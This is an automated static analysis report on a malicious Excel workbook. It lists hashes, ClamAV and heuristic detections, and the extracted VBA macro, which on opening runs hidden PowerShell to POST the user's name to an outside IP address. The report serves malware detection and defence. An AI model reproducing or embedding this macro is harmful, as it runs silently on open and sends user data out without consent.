Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 892c0b20d669c2ce…

MALICIOUS

Office (OOXML)

4.1 KB First seen: 2020-10-03
MD5: 8653e24976a8467c36d1380c71c1da4a SHA-1: 6cddb914ab9a8ac073e2315f731e793ce87a8621 SHA-256: 892c0b20d669c2cee03b9bdc38dcb50b458a9357d7dbb40aea6053bc0794caa1
430 Risk Score

Heuristics 9

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Full_Command = CodeStart & PowerShell_Command
    Dim Shell As Object
    Set Shell = CreateObject("Wscript.Shell")
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim Shell As Object
    Set Shell = CreateObject("Wscript.Shell")
    Shell.Run(Full_Command)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    CodeStart = "powershell -ep ByPass -noprofile -window hidden "
    PowerShell_Command = " Invoke-WebRequest -Uri ""http://192.168.20.11/user"" -Method POST -Body @{userName=""$env:USERNAME""} "
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim Shell As Object
    Set Shell = CreateObject("Wscript.Shell")
    Shell.Run(Full_Command)
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.20.11/user In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 978 bytes
SHA-256: 8092ef2a6a8e228f940deaf1e8fb66081fcf4b86d1f040399fdc2907fe2a43b8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
CodeStart = "powershell -ep ByPass -noprofile -window hidden " 
PowerShell_Command = " Invoke-WebRequest -Uri ""http://192.168.20.11/user"" -Method POST -Body @{userName=""$env:USERNAME""} " 
Full_Command = CodeStart & PowerShell_Command 
Dim Shell As Object 
Set Shell = CreateObject("Wscript.Shell") 
Shell.Run(Full_Command)
End Sub

Attribute VB_Name = "VBA_Sample"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 5120 bytes
SHA-256: 8ab740ff88666d714fc4b888241e67e678323a02b398577905baa143d23af4b1
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: unlikely